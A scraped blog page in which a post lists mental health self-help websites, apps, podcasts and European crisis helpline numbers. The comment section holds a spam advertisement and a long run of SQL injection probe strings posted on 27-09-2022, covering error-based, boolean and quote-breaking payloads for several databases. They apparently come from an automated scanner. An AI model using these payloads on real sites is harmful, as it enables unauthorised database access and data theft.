Tour Pros Blog

Tuesday, 19-01-2021

Resources to support Mental Health issues.

Get help, call someone, message someone, anyone … just please do not suffer in silence.

This is simply a list of resources that may help you in learning, understanding and managing your feelings. The important thing is that you, please do talk, do get help, do be brave and do feel proud for asking. You are not alone.

If you need to reach out to a stranger for a chat, just get in touch – [email protected]

General resources for information and self-help:

https://checkpointorg.com/mental-health-resources/

https://www.mindcharity.co.uk/online-self-help-programmes-websites-resources/

https://www.backontrack.nhs.uk/resources/self-help-materials/

https://www.annafreud.org/on-my-mind/self-care/ (huge library of ideas and tools)

https://www.cci.health.wa.gov.au/resources/looking-after-yourself

https://www.mind.org.uk/information-support/types-of-mental-health-problems/mental-health-problems-introduction/self-care/

https://www.psychologytools.com/downloads/worksheets-exercises-guides-handouts/

https://www.helpguide.org/

Lists of Apps that help with mental health issues

These links contain a huge variety of Apps that are both paid and free. From general mindfulness to specific apps to prevent self-harm and promote overall positivity.

https://www.nhs.uk/apps-library/category/mental-health/

https://www.verywellmind.com/best-mental-health-apps-4692902

https://adaa.org/finding-help/mobile-apps

https://www.mindcharity.co.uk/advice-information/how-to-look-after-your-mental-health/apps-for-wellbeing-and-mental-health/

Links to lists of Podcasts that talk about Mental Health issues or aim to support those suffering:

https://www.icslearn.co.uk/blog/posts/2020/april/10-podcasts-to-help-you-look-after-your-mental-health-during-coronavirus/

https://mashable.com/article/mental-health-podcasts/?europe=true

https://blog.feedspot.com/mental_health_podcasts/

Links to lists of blogs about mental health

An actual blog - https://www.mentalhealth.org.uk/blog

https://www.barnetwellbeing.org.uk/blogs-mental-health-and-wellbeing

https://www.healthline.com/health/depression/best-blogs-of-the-year#1

https://neurowellnessspa.com/mental-health-blogs-2020/

https://www.betterhelp.com/advice/

https://www.mhanational.org/self-help-tools

https://www.mentalhealthfirstaid.org/mental-health-resources/

Links to lists of YouTube channels to watch:

https://www.clarityy.com/posts/top-10-psychology-and-mental-health-channels-on-youtube

https://empathysites.com/best-mental-health-therapist-youtube-channels/

http://www.hellomeitsyou.org/blog/10-mental-health-youtubers-were-here-for

https://themighty.com/2020/12/mental-health-best-youtube-channels/

https://blog.feedspot.com/anxiety_youtube_channels/

https://blog.feedspot.com/depression_youtube_channels/

https://www.yourfriendjane.com/blog/best-mental-health-youtube-channels

Helpline numbers and emergency agencies:

A comprehensive list of global support can be found on these sites:-
https://unitedgmh.org/mental-health-support

https://en.wikipedia.org/wiki/List_of_suicide_crisis_lines

https://www.therapyroute.com/article/helplines-suicide-hotlines-and-crisis-lines-from-around-the-world

https://togetherweare-strong.tumblr.com/helpline

Helplines to call:

Worldwide:

https://helplines.org/helplines/?fwp_topics=mental-health

Europe:

This site covers most of Europe in detail - https://www.iasp.info/resources/Crisis_Centres/Europe/

If you call 116 123 from anywhere in Europe you will get through to a trained operator.

Some further info:

France (English Speaking)

0033 145 39 4000

Suicide Ecoute

01 46 21 46 46

Germany

Telefonseelsorge Deutschland (National)

German speaking: 0800 -111 0 222

English speaking: 030-44 01 06 07

Crisis support line 6pm to 12am daily

Italy

800 86 00 22

http://www.mentalhealth.org.uk/

http://www.together-uk.org/

http://www.scmh.org.uk/

http://www.time-to-change.org.uk/

http://www.rethink.org/

UK & ROI

116 123

Samaritans

0800 068 4141

HopeLine UK

0808 808 8000 - ROI

Again – please reach out to someone if you feel you can’t cope.

Comments

color personality test

Tue, 04-02-2025 11:02am

[email protected]

In the Color personality test, individuals answer questions about their likes and dislikes. Based on their answers, the test proctor or website utilized will identify their primary personality test color. Additionally, as all four colors may influence your personality to a degree, the test will describe how the other colors fit in with your results. The True Colors test may also reveal your values, motivations, social skills, and learning styles. The meaning behind each personality test color Each color result in the True Colors test is said to correspond with certain personality traits. Your likes and dislikes may point to that result. There are four possible results, including the following. Orange personality result The color orange is said to represent activity and excitement. Metaphorically, it may be represented by fire, adventure, or delicious fruits. The test states those under the orange result are fun-loving, humorous, witty, and charming. Oranges tend to love a challenge and appreciate recognition for their achievements. They may also prefer to lead, not follow. Those under this color may have a learning style where it’s better for them to try an activity instead of listening to a lecture or allowing someone else to teach them. Gold personality result Gold is said to represent authenticity, dependability, and tradition. Golds may desire structure, unity, and organization to thrive. A lack of order could make this individual feel worried or unstable. Golds often value integrity and responsibility and might prove to be trustworthy friends and reliable employees. Crossing items off a to-do list could feel satisfactory for those under this color. However, it isn't necessarily "all business" for golds. They may also take pride in being present for their loved ones and have solid family values. Blue personality result Some psychologists point to blue as the color of intellect. In the True Colors test, blue represents emotional intensity and spirituality. The life of blue may center around social connections. Blues may not only enjoy socializing but seek to make connections with others. They might find happiness in harmonious relationships with coworkers, friends, family, and partners. Blues might go out of their way to find a solution when there's conflict. Their deep compassion and caring can make them compassionate communicators and caretakers. Blues might also have strong imaginations and find joy in music, art, and entertainment. https://colorpersonalitytest.itch.io/

Sun, 12-01-2025 02:01pm

Fri, 10-01-2025 03:01pm

Fri, 13-12-2024 12:12am

Tue, 10-12-2024 07:12am

Sat, 09-11-2024 07:11pm

Thu, 07-11-2024 12:11am

Sat, 26-10-2024 02:10am

Fri, 25-10-2024 11:10pm

Wed, 09-10-2024 01:10am

Mon, 07-10-2024 01:10am

Thu, 05-09-2024 04:09pm

Tue, 16-07-2024 09:07am

Mon, 15-07-2024 11:07am

Wed, 08-05-2024 02:05am

Sat, 27-04-2024 12:04pm

Sun, 07-04-2024 02:04pm

Fri, 05-04-2024 04:04pm

Wed, 03-04-2024 05:04pm

Thu, 28-03-2024 09:03am

Sat, 24-02-2024 11:02am

Thu, 21-12-2023 08:12pm

Thu, 21-12-2023 04:12pm

Mon, 11-09-2023 07:09am

Mon, 11-09-2023 01:09am

Mon, 12-12-2022 05:12pm

Mon, 12-12-2022 12:12pm

Thu, 17-11-2022 06:11pm

Sun, 30-10-2022 04:10am

Sat, 29-10-2022 08:10pm

Thu, 13-10-2022 08:10pm

Mon, 03-10-2022 09:10pm

Thu, 29-09-2022 01:09am

Tue, 27-09-2022 10:09am

1%' AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113))) AND '%'='

Tue, 27-09-2022 10:09am

1' AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'XlLx'='XlLx

Tue, 27-09-2022 10:09am

1') AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113))) AND ('DTAD'='DTAD

Tue, 27-09-2022 10:09am

1 AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113)))-- cIps

Tue, 27-09-2022 10:09am

1 AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113)))

Tue, 27-09-2022 10:09am

1) AND 5014=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5014=5014) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(112)+CHAR(113))) AND (5994=5994

Tue, 27-09-2022 10:09am

1%' AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC) AND '%'='

Tue, 27-09-2022 10:09am

1' AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC) AND 'CjfK'='CjfK

Tue, 27-09-2022 10:09am

1') AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC) AND ('rKfb'='rKfb

Tue, 27-09-2022 10:09am

1 AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC)-- EQMx

Tue, 27-09-2022 10:09am

1 AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC)

Tue, 27-09-2022 10:09am

1) AND 2542=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (2542=2542) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC) AND (8244=8244

Tue, 27-09-2022 10:09am

1%' AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='

Tue, 27-09-2022 10:09am

1' AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'tSfd'='tSfd

Tue, 27-09-2022 10:09am

1') AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('ERlC'='ERlC

Tue, 27-09-2022 10:09am

1 AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- SQpP

Tue, 27-09-2022 10:09am

1 AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Tue, 27-09-2022 10:09am

1) AND (SELECT 9100 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(9100=9100,1))),0x7178627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (4421=4421

Tue, 27-09-2022 10:09am

(SELECT (CASE WHEN (1664=1664) THEN 1664 ELSE 1664*(SELECT 1664 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))

Tue, 27-09-2022 10:09am

(SELECT (CASE WHEN (5018=7744) THEN 5018 ELSE 5018*(SELECT 5018 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))

Tue, 27-09-2022 10:09am

1%' AND 3335=3335 AND '%'='

Tue, 27-09-2022 10:09am

1%' AND 1425=9607 AND '%'='

Tue, 27-09-2022 10:09am

1' AND 3335=3335 AND 'VlIp'='VlIp

Tue, 27-09-2022 10:09am

1' AND 4727=7266 AND 'yFsM'='yFsM

Tue, 27-09-2022 10:09am

1') AND 3335=3335 AND ('NzWu'='NzWu

Tue, 27-09-2022 10:09am

1') AND 3895=1759 AND ('vVYs'='vVYs

Tue, 27-09-2022 10:09am

1 AND 3335=3335-- IwZV

Tue, 27-09-2022 10:09am

1 AND 7787=1577-- akTN

Tue, 27-09-2022 10:09am

1 AND 3335=3335

Tue, 27-09-2022 10:09am

1 AND 2123=8238

Tue, 27-09-2022 10:09am

1) AND 3335=3335 AND (3266=3266

Tue, 27-09-2022 10:09am

1) AND 9563=3277 AND (9734=9734

Tue, 27-09-2022 10:09am

1'ISpmeJ<'">iwvWiK

Tue, 27-09-2022 10:09am

1..(('.(),)

Tue, 27-09-2022 10:09am

Mon, 12-09-2022 11:09am

Tue, 30-08-2022 10:08pm

Tue, 30-08-2022 03:08pm

Sun, 28-08-2022 12:08pm

Fri, 26-08-2022 08:08am

Sat, 20-08-2022 08:08am

Thu, 28-07-2022 07:07pm

Fri, 24-06-2022 04:06pm

Thu, 26-05-2022 11:05pm

Tue, 26-04-2022 07:04am

Sun, 24-04-2022 01:04am

Thu, 21-04-2022 08:04pm

Mon, 18-04-2022 07:04pm

Sat, 16-04-2022 04:04pm

Wed, 23-03-2022 10:03am

Mon, 21-03-2022 06:03am

Wed, 16-02-2022 09:02pm

Mon, 17-01-2022 02:01pm

Sun, 16-01-2022 04:01pm

Sat, 18-12-2021 07:12pm

Thu, 16-12-2021 04:12pm

Thu, 11-11-2021 07:11am

Sat, 09-10-2021 10:10am

Thu, 07-10-2021 09:10am

Wed, 22-09-2021 12:09pm

Thu, 08-07-2021 07:07pm

Wed, 26-05-2021 04:05pm

Tue, 04-05-2021 06:05am

Sat, 01-05-2021 08:05pm

Thu, 29-04-2021 10:04am

Sat, 24-04-2021 10:04am

Wed, 21-04-2021 06:04pm

Wed, 17-03-2021 08:03pm

Sun, 14-03-2021 10:03pm

Tour Pros Blog

Resources to support Mental Health issues.

Comments

SOCIAL LINKS

QUICK LINKS

CONTACT INFO